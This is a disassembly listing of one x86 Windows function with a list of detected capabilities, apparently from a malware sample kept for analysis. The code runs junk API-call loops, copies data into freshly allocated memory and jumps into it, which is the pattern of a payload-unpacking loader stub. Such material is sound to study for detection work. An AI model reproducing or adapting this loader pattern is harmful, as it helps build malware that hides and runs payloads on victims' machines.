Function at 0x43c5e0
Capabilities:
Get disk size
Get file attributes
Initialize winhttp library
Manipulate console buffer
Query environment variable
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4521fe
push eax
mov dword fs:[0], esp
sub esp, 0x8f8
push ebx
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidth32A]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor esi, esi
nop
cmp esi, 0xfa62c8f
jge 0x43c624
call edi
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x207142
jg 0x43c635
inc esi
cmp esi, 0x67d12
jl 0x43c610
cmp dword [0x463f64], 0x93
jne 0x43c889
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateDCW]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x900]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateDCA]
xor ecx, ecx
lock bts dword [ecx], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
lea eax, [ebp - 0xfc]
push eax
lea ecx, [ebp - 0xec]
push ecx
call dword [sym.imp.ole32.dll_CoRegisterPSClsid]
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xd8]
push ecx
call dword [sym.imp.ole32.dll_StringFromIID]
push 0x403720
mov dword [ebp - 0x28], 0xf
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
call fcn.0043f380
add esp, 4
push eax
push 0x403720
lea ecx, [ebp - 0x40]
call fcn.0043e090
push ebx
mov dword [ebp - 4], ebx
call fcn.0043fb34
add esp, 4
push ebx
call fcn.0043f75d
add esp, 4
push ebx
push ebx
call fcn.0043f78c
push ebx
call fcn.0043f62f
add esp, 0xc
call fcn.0043c5d0
lea edx, [ebp - 0xc8]
push edx
call fcn.0043d5d0
mov ecx, dword [ebp - 0xc8]
mov edx, dword [ecx + 4]
lea eax, [ebp - 0x74]
mov dword [ebp - 0x24], eax
mov dword [ebp + edx - 0xc8], 0x43ad20
test byte [ebp - 0x7c], 1
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xbc], 0x43ace4
je 0x43c770
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx]
push eax
call fcn.0043f90f
add esp, 4
mov edx, dword [ebp - 0xac]
mov dword [edx], ebx
mov eax, dword [ebp - 0x9c]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x8c]
mov dword [ecx], ebx
mov edx, dword [ebp - 0xa8]
mov dword [edx], ebx
mov eax, dword [ebp - 0x98]
mov dword [eax], ebx
mov ecx, dword [ebp - 0x88]
mov dword [ecx], ebx
and dword [ebp - 0x7c], 0xfffffffe
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0xbc], 0x43ac90
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x43c80e
mov edi, dword [eax]
cmp edi, ebx
je 0x43c802
push ebx
lea ecx, [ebp - 0x20]
call fcn.0043eb59
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x43c7e1
cmp eax, 0xffffffff
jae 0x43c7e1
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [ebp - 0x20]
and esi, edi
call fcn.0043eb81
cmp esi, ebx
je 0x43c802
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov ecx, dword [ebp - 0x1c]
push ecx
call fcn.0043f90f
add esp, 4
lea ecx, [ebp - 0xb8]
mov byte [ebp - 4], 1
call fcn.0043edb7
mov byte [ebp - 4], 0
mov edx, dword [ebp - 0xc8]
mov eax, dword [edx + 4]
mov dword [ebp + eax - 0xc8], 0x43acdc
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - 0xc0], 0x43acd4
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
lea edx, [ebp - 0x74]
mov dword [ebp + ecx - 0xc8], 0x43accc
push edx
mov dword [ebp - 0x74], 0x43ac80
call fcn.0043e75e
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x28], 0x10
jb 0x43c889
mov eax, dword [ebp - 0x3c]
push eax
call fcn.0043f90f
add esp, 4
mov eax, dword [0x463f64]
mov ecx, dword [0x458174]
add eax, 0x1134b
push eax
push 0
mov dword [0x464da0], ecx
mov dword [0x463f64], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x4639f0], eax
call fcn.0043c510
mov edi, dword [sym.imp.USER32.dll_GetMenuInfo]
mov esi, 0x1692e
push 0
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x43c8c2
cmp dword [0x463f64], esi
jbe 0x43c952
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
jmp 0x43c8f0
mov edx, dword [0x464da0]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4639f0]
mov byte [ecx + esi], al
cmp dword [0x463f64], 0x490
jne 0x43c949
lea edx, [ebp - 0x18]
push edx
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea eax, [ebp - 0x24]
push eax
push 0
lea ecx, [ebp - 0xdc]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
inc esi
cmp esi, dword [0x463f64]
jb 0x43c8f0
mov esi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov edi, dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [ebp - 0x10], eax
mov edx, dword [0x463f64]
add edx, eax
cmp edx, 0x8d
jne 0x43c9af
push 0
lea eax, [ebp - 0x900]
push eax
push 0
push 0
push 0
push 0
call esi
push 0x403730
push 0x403740
call edi
push 0
lea ecx, [ebp - 0x18]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x38681
mov dword [ebp - 0x10], eax
jl 0x43c969
call fcn.0043c3d0
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x43c9e1
mov dword [ebp - 0x14], edi
add dword [ebp - 0x14], 0x4a3b
mov edx, dword [ebp - 0x14]
add dword [0x4639f0], edx
inc esi
cmp esi, 0x674bd
jl 0x43c9c3
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFlags]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x463f64], 0x86
jne 0x43ca43
push 0
call esi
push 0
lea eax, [ebp - 0x900]
push eax
push 0x403750
call edi
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
cmp dword [0x463f64], 0xf
jne 0x43ca56
lea ecx, [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
sub dword [ebp - 0x10], 1
jne 0x43ca03
call fcn.0043c090
call dword [0x4639f0]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret